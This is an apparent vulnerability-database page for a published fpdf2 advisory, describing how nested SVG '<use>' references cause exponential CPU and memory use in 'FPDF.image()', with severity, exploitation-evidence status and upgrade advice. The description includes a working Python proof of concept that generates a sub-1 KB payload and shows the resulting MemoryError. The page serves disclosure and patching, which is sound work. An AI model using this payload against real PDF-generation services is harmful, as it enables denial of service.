CVE-2026-114610: fpdf2 · Exponential SVG '<use>' expansion causes CPU and memory exhaustion in 'FPDF.image()'
Affects keeper-commanderSource GCVE Database
Not known to be exploited · CVSS 6.5 Medium : upgrade to 18.1.1 when convenient.
Data as of 30 Oct 2026, 07:30 UTC
Thin evidence
One scorer or none| CNA (GitHub_M) | CVSS 3.1 | 6.5 |
|---|
- Patch
- Available – fixed in 18.1.1
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:HExploitation evidence
Disclosed: evidence found.
CVE published 22 Oct 2026
Detectable: no evidence on record.
No public nuclei template indexed
Weaponized: no evidence on record.
No public exploit code indexed in Metasploit or Exploit-DB
Exploited in the wildExploited: no evidence on record.
Not in CISA KEV and no source reports exploitation
Observed by OffSeq MirageSeen by Mirage: no evidence on record.
No attack traffic recorded by OffSeq Mirage sensors
A missing step is not evidence of safety. Sources: cve.org (opens in a new tab), the Metasploit, Exploit-DB and nuclei-templates index as of 29 Oct 2026.
What to do
Upgrade keeper-commander to 18.1.1.
Affected software
| Product | Affected | Fixed in |
|---|---|---|
Homebrewkeeper-commanderpkg:brew/keeper-commanderOther threats | Affected
| Fixed in
|
Check your own hosts for these packages with threat-finder (opens in a new tab), our free open-source scanner.
Description
### Summary fpdf2 expands SVG `<use>` references by deep-copying the complete referenced graphics tree. A small SVG can use nested references to make the number of in-memory objects grow exponentially, causing excessive CPU and memory consumption during `FPDF.image()` processing. This was reproduced with an 895-byte SVG on fpdf2 2.8.7. Under a 128 MB process limit, the input kept the process busy for about 14 seconds before raising `MemoryError`. ### Details The issue is in fpdf2's own SVG reference handling. It does not rely on XML entities, external URLs, local files, or vulnerable behavior in another dependency. When fpdf2 resolves an SVG reference, [`SVGObject.build_xref()`](https://github.com/py-pdf/fpdf2/blob/a3307f96a0d165831029b3fb644aee5a7ca03328/fpdf/svg.py#L1584) passes the referenced object to `GraphicsContext.add_item()`: ```python pdf_group.add_item(self.cross_references[ref]) ``` [`GraphicsContext.add_item()`](https://github.com/py-pdf/fpdf2/blob/a3307f96a0d165831029b3fb644aee5a7ca03328/fpdf/drawing.py#L3618-L3633) uses `clone=True` by default and deep-copies the object: ```python def add_item(self, item, clone=True): if clone: item = deepcopy(item) self.path_items.append(item) ``` An attacker can define `g1` as eight references to `g0`, `g2` as eight references to `g1`, and so on. Each level adds only a small amount of XML, but fpdf2 copies the entire tree from the previous level eight times. The resulting work grows approximately as `8^n`. `ResourceAccessPolicy` does not prevent this behavior because the SVG contains only inline objects and does not request any external resource. The same failure was reproduced on development commit `a3307f96a0d165831029b3fb644aee5a7ca03328` with `ResourceAccessPolicy.NONE`. ### PoC This was tested on Linux with Python 3.13.5. The script applies a 128 MB address-space limit so the process fails safely instead of consuming all available system memory. ```python import resource import time from fpdf import FPDF groups = ['<g id="g0"><rect width="1" height="1"/></g>'] for level in range(1, 6): uses = f'<use href="#g{level - 1}"/>' * 8 groups.append(f'<g id="g{level}">{uses}</g>') svg = ( '<svg xmlns="http://www.w3.org/2000/svg" width="1" height="1">' '<defs>' + "".join(groups) + '</defs><use href="#g5"/></svg>' ).encode() pdf = FPDF() pdf.add_page() limit = 128 * 1024 * 1024 resource.setrlimit(resource.RLIMIT_AS, (limit, limit)) print(f"payload size: {len(svg)} bytes") started = time.perf_counter() try: pdf.image(svg, w=10) except MemoryError: elapsed = time.perf_counter() - started max_rss = resource.getrusage(resource.RUSAGE_SELF).ru_maxrss print(f"MemoryError after {elapsed:.3f}s, max RSS: {max_rss} KiB") ``` ```text payload size: 895 bytes MemoryError after 14.336s, max RSS: 115596 KiB ``` Execution time varies by machine, but the process should show heavy resource use and fail at the configured memory limit. ### Impact This is an uncontrolled resource consumption vulnerability affecting applications that pass user-controlled SVG data to `FPDF.image()`. A single crafted image can occupy a PDF generation worker for several seconds and then make the current job fail with `MemoryError`. Submitting the same input concurrently repeats the CPU and memory cost across the available workers, reducing or exhausting the service's PDF generation capacity. The payload is less than 1 KB and requires no external resource access, XML entities, special network configuration, or permissive fpdf2 settings.
References
- github.com/py-pdf/fpdf2/security/advisories/GHSA-wqw6-wpr3-45rh (opens in a new tab)
- nvd.nist.gov/vuln/detail/CVE-2026-114610 (opens in a new tab)
- github.com/py-pdf/fpdf2/pull/1889 (opens in a new tab)
- github.com/py-pdf/fpdf2/commit/d7bd1061205d50da6a541dadfdb9d66beb763f2f (opens in a new tab)
- github.com/py-pdf/fpdf2 (opens in a new tab)
- github.com/py-pdf/fpdf2/releases/tag/2.8.8 (opens in a new tab)